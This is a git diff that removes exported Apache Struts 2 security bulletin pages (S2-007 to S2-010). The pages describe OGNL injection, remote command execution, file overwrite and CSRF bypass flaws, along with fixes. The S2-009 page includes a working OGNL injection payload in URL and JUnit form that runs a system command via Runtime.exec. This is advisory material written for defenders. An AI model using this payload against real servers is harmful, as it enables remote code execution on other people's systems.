-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=27826393">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=27826393">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=27826393">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=27826393">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h2 id="S2-007-Summary">Summary</h2>
-
-<p>
-</p><p>User input is evaluated as an OGNL expression when there's a conversion error</p>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> Who should read this </p></th><td colspan="1" rowspan="1" class="confluenceTd"><p> All Struts 2 developers </p></td></tr><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> Impact of vulnerability </p></th><td colspan="1" rowspan="1" class="confluenceTd"><p> Remote Code Execution </p></td></tr><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> Maximum security [...]
-
-
-<h2 id="S2-007-Problem">Problem</h2>
-
-<p>User input is evaluated as an OGNL expression when there's a conversion error. This allows a malicious user to execute arbitrary code.&#160;<br clear="none">
-A more detailed description is found in the referenced <a shape="rect" class="external-link" href="https://issues.apache.org/jira/browse/WW-3668">JIRA ticket</a>.</p>
-
-<h2 id="S2-007-Solution">Solution</h2>
-
-<p>Upgrade to&#160;<a shape="rect" class="external-link" href="http://struts.apache.org/download.cgi#struts2231">Struts 2.2.3.1</a>.</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/s2-008.html b/content/docs/s2-008.html
deleted file mode 100644
index 97be0e5..0000000
--- a/content/docs/s2-008.html
+++ /dev/null
@@ -1,168 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>S2-008</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="security-bulletins.html">Security Bulletins</a>&nbsp;&gt;&nbsp;<a href="s2-008.html">S2-008</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">S2-008</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=27834715">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=27834715">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=27834715">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=27834715">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=27834715">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=27834715">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h2 id="S2-008-Summary">Summary</h2>
-
-<p>
-</p><p>Multiple critical vulnerabilities in Struts2</p>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> Who should read this </p></th><td colspan="1" rowspan="1" class="confluenceTd"><p> All Struts 2 developers </p></td></tr><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> Impact of vulnerability </p></th><td colspan="1" rowspan="1" class="confluenceTd"><p> Remote command execution and arbitrary file overwrite, Strict DMI does not work correctly </p></td></tr><tr>< [...]
-
-
-<h2 id="S2-008-Problem">Problem</h2>
-
-<p>To prevent attackers calling arbitrary methods within parameters the flag <code>xwork.MethodAccessor.denyMethodExecution</code> is set to <code>true</code> and the <code>SecurityMemberAccess</code> field <code>allowStaticMethodAccess</code> is set to <code>false</code> by default. Also, to prevent access to context variables an improved character whitelist for parameter names is applied in the <code>ParameterInterceptor</code> since Struts 2.2.1.1:</p>
-
-<p><code>acceptedParamNames = "[a-zA-Z0-9\.][()_']+";</code></p>
-
-<p>Under certain circumstances these restrictions can be bypassed to execute malicious Java code.</p>
-
-<ol><li><strong>Remote command execution in Struts &lt;= 2.2.1.1 (<code>ExceptionDelegator</code>)</strong><br clear="none">
-When an exception occurs while applying parameter values to properties, the value is evaluated as an OGNL expression. For example, this occurs when setting a string value to an integer property. Since the values are not filtered an attacker can abuse the power of the OGNL language to execute arbitrary Java code leading to remote command execution. This issue has been reported (<a shape="rect" class="external-link" href="https://issues.apache.org/jira/browse/WW-3668">https://issues.apache [...]
-The character whitelist for parameter names is not applied to the <code>CookieInterceptor</code>. When Struts is configured to handle cookie names, an attacker can execute arbitrary system commands with static method access to Java functions. Therefore the flag <code>allowStaticMethodAccess</code> can be set to true within the request.</li><li><strong>Arbitrary File Overwrite in Struts &lt;= 2.3.1 (<code>ParameterInterceptor</code>)</strong><br clear="none">
-While accessing the flag <code>allowStaticMethodAccess</code> within parameters is prohibited since Struts 2.2.3.1 an attacker can still access public constructors with only one parameter of type String to create new Java objects and access their setters with only one parameter of type String. This can be abused in example to create and overwrite arbitrary files. To inject forbidden characters into a filename an uninitialized string property can be used.</li><li><strong>Remote command ex [...]
-While not being a security vulnerability itself, please note that applications running in developer mode and using the <code>DebuggingInterceptor</code> are prone to remote command execution as well. While applications should never run in developer mode during production, developers should be aware that doing so not only has performance issues (as documented) but also a critical security impact.</li></ol>
-
-
-<h2 id="S2-008-Solution">Solution</h2>
-
-<div class="confluence-information-macro confluence-information-macro-warning"><span class="aui-icon aui-icon-small aui-iconfont-error confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p><strong>It is strongly recommended to upgrade to <a shape="rect" class="external-link" href="http://struts.apache.org/download.cgi#struts2311">Struts 2.3.1.1</a></strong><strong>, which contains the corrected classes.</strong></p></div></div>
-
-<p>Update to Struts 2.3.1 and apply a stronger <code>acceptedParamNames</code> filter to the <code>ParameterInterceptor</code> and <code>CookieInterceptor</code>:</p>
-
-<p><code>acceptedParamNames = "[a-zA-Z0-9\.][()_']+";</code></p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/s2-009.html b/content/docs/s2-009.html
deleted file mode 100644
index d2d9be1..0000000
--- a/content/docs/s2-009.html
+++ /dev/null
@@ -1,247 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>S2-009</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="security-bulletins.html">Security Bulletins</a>&nbsp;&gt;&nbsp;<a href="s2-009.html">S2-009</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">S2-009</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=27836151">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=27836151">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=27836151">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=27836151">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=27836151">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=27836151">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h2 id="S2-009-Summary">Summary</h2>
-
-<p>
-</p><p>ParameterInterceptor vulnerability allows remote command execution</p>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>Who should read this</p></th><td colspan="1" rowspan="1" class="confluenceTd"><p>All Struts 2 developers</p></td></tr><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>Impact of vulnerability</p></th><td colspan="1" rowspan="1" class="confluenceTd"><p>Remote command execution</p></td></tr><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>Maximum security ratin [...]
-
-<h2 id="S2-009-Problem">Problem</h2>
-
-<p>OGNL provides, among other features, extensive expression <a shape="rect" class="external-link" href="http://commons.apache.org/ognl/language-guide.html#Expression_Evaluation">evaluation capabilities</a>. The vulnerability allows a malicious user to bypass all the protections (regex pattern, deny method invocation) built into the ParametersInterceptor, thus being able to inject a malicious expression in any exposed string variable for further evaluation. </p>
-
-<p>A similar behavior was already addressed in <a shape="rect" href="s2-003.html">S2-003</a> and <a shape="rect" href="s2-005.html">S2-005</a>, but it turned out that the resulting fix based on whitelisting acceptable parameter names closed the vulnerability only partially. <br clear="none">
-Regular expression in ParametersInterceptor matches top['foo'](0) as a valid expression, which OGNL treats as (top['foo'])(0) and evaluates the value of 'foo' action parameter as an OGNL expression. This lets malicious users put arbitrary OGNL statements into any String variable exposed by an action and have it evaluated as an OGNL expression and since OGNL statement is in HTTP parameter value attacker can use blacklisted characters (e.g. #) to disable method execution and execute arbitr [...]
-
-<h2 id="S2-009-Proofofconcept">Proof of concept</h2>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Vulnerable Action</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-public class FooAction {
-    private String foo;
-
-    public String execute() {
-        return "success";
-    }
-    public String getFoo() {
-        return foo;
-    }
-
-    public void setFoo(String foo) {
-        this.foo = foo;
-    }
-}
-
-</pre>
-</div></div>
-
-<p>Here's an actual decoded example, which will create /tmp/PWNAGE directory:</p>
-
-<div class="preformatted panel" style="border-width: 1px;"><div class="preformattedContent panelContent">
-<pre>/action?foo=(#context["xwork.MethodAccessor.denyMethodExecution"]= new java.lang.Boolean(false), #_memberAccess["allowStaticMethodAccess"]= new java.lang.Boolean(true), @java.lang.Runtime@getRuntime().exec('mkdir /tmp/PWNAGE'))(meh)&amp;z[(foo)('meh')]=true
-</pre>
-</div></div>
-
-<p>encoded version:</p>
-<div class="preformatted panel" style="border-width: 1px;"><div class="preformattedContent panelContent">
-<pre>/action?foo=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,%20@java.lang.Runtime@getRuntime%28%29.exec%28%27mkdir%20/tmp/PWNAGE%27%29%29%28meh%29&amp;z[%28foo%29%28%27meh%27%29]=true
-</pre>
-</div></div>
-
-<p>And the JUnit version</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>PoC</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-public class FooActionTest extends org.apache.struts2.StrutsJUnit4TestCase&lt;FooAction&gt; {
-    @Test
-    public void testExecute() throws Exception {
-        request.setParameter("foo", "(#context[\"xwork.MethodAccessor.denyMethodExecution\"]= new " +
-                "java.lang.Boolean(false), #_memberAccess[\"allowStaticMethodAccess\"]= new java.lang.Boolean(true), " +
-                "@java.lang.Runtime@getRuntime().exec('mkdir /tmp/PWNAGE'))(meh)");
-
-        request.setParameter("top['foo'](0)", "true");
-
-        String res = this.executeAction("/example/foo.action");
-        FooAction action = this.getAction();
-
-        File pwn = new File("/tmp/PWNAGE");
-        Assert.assertFalse("Remote exploit: The PWN folder has been created", pwn.exists());
-    }
-}
-
-</pre>
-</div></div>
-
-<h2 id="S2-009-Solution">Solution</h2>
-
-<p>The regex pattern inside the ParameterInterceptor was changed to provide a more narrow space of acceptable parameter names. <br clear="none">
-Furthermore the new setParameter method provided by the value stack will allow no more eval expression inside the param names.</p>
-
-
-<div class="confluence-information-macro confluence-information-macro-warning"><span class="aui-icon aui-icon-small aui-iconfont-error confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p><strong>It is strongly recommended to upgrade to <a shape="rect" class="external-link" href="http://struts.apache.org/download.cgi#struts2312">Struts 2.3.1.2</a>, which contains the corrected OGNL and XWork library.</strong></p></div></div>
-
-<p>In case an upgrade isn't possible in a particular environment, there is a configuration based mitigation workaround:</p>
-
-<h3 id="S2-009-PossibleMitigationWorkaround:ConfigureParametersIntercptorinstruts.xmltoExcludeMaliciousParameters">Possible Mitigation Workaround: Configure ParametersIntercptor in struts.xml to Exclude Malicious Parameters</h3>
-
-<p>The following additional interceptor-ref configuration should mitigate the problem when applied correctly, allowing only simple navigational expression:</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;interceptor-ref name="params"&gt;
-	&lt;param name="acceptParamNames"&gt;\w+((\.\w+)|(\[\d+\])|(\['\w+'\]))*&lt;/param&gt;
-&lt;/interceptor-ref&gt;
-</pre>
-</div></div>
-<div class="confluence-information-macro confluence-information-macro-note"><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p>Beware that the above pattern breaks <a shape="rect" class="external-link" href="http://struts.apache.org/2.3.1.1/docs/type-conversion.html#TypeConversion-CollectionandMapSupport">the type conversion support for collection and map</a> (those parameter names should be attached to acceptParamNames variable).<br clear="none">
-For this configuration to work correctly, it has to be applied to <strong>any params interceptor ref in any stack an application is using</strong>.<br clear="none">
-E.g., if an application is configured to use defaultStack as well as paramsPrepareParamsStack, you should copy both stack definitions from struts-default.xml to the application's struts.xml config file and apply the described excludeParams configuration for each params interceptor ref, that is <strong>once for defaultStack and twice for paramsPrepareParamsStack</strong></p></div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/s2-010.html b/content/docs/s2-010.html
deleted file mode 100644
index 7a022af..0000000
--- a/content/docs/s2-010.html
+++ /dev/null
@@ -1,158 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>S2-010</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="security-bulletins.html">Security Bulletins</a>&nbsp;&gt;&nbsp;<a href="s2-010.html">S2-010</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">S2-010</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=30146792">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=30146792">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=30146792">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=30146792">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=30146792">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=30146792">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h2 id="S2-010-Summary">Summary</h2>
-
-<p>
-</p><p>When using Struts 2 token mechanism for CSRF protection, token check may be bypassed by misusing known session attributes </p>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> Who should read this </p></th><td colspan="1" rowspan="1" class="confluenceTd"><p> All Struts 2 developers </p></td></tr><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> Impact of vulnerability </p></th><td colspan="1" rowspan="1" class="confluenceTd"><p> CSRF protection weakening </p></td></tr><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> Maximum secu [...]
-
-
-<h2 id="S2-010-Problem">Problem</h2>
-
-<p>The Struts 2 token mechanism (token tag and token interceptors) was originally targeted at providing double submit check for forms.</p>
-
-<p>In addition the mechanism basically qualifies for CSRF protection by implementing the Synchronizer Token Pattern, as described in the <a shape="rect" class="external-link" href="https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet" rel="nofollow">OWASP CSRF Prevention Cheat Sheet</a>.</p>
-
-<p>When used for that purpose, a possible attacker might manipulate a request by changing the token name configuration parameter to match a String typed session attribute known to him by name and value, along with changing the token value parameter to the value of the said session attribute. The token check mechanism is then bypassed by the existent session attribute matching the request's token configuration.</p>
-
-<h2 id="S2-010-Solution">Solution</h2>
-
-<p>As of Struts 2.3.4.1, token session attribute names are decoupled from token parameter names by namespace prefixing.</p>
-
-<p>Please upgrade to&#160;<a shape="rect" class="external-link" href="http://struts.apache.org/download.cgi#struts2341">Struts 2.3.4.1</a>.</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/s2-011.html b/content/docs/s2-011.html
deleted file mode 100644
index 801f6d0..0000000
--- a/content/docs/s2-011.html
+++ /dev/null
@@ -1,156 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
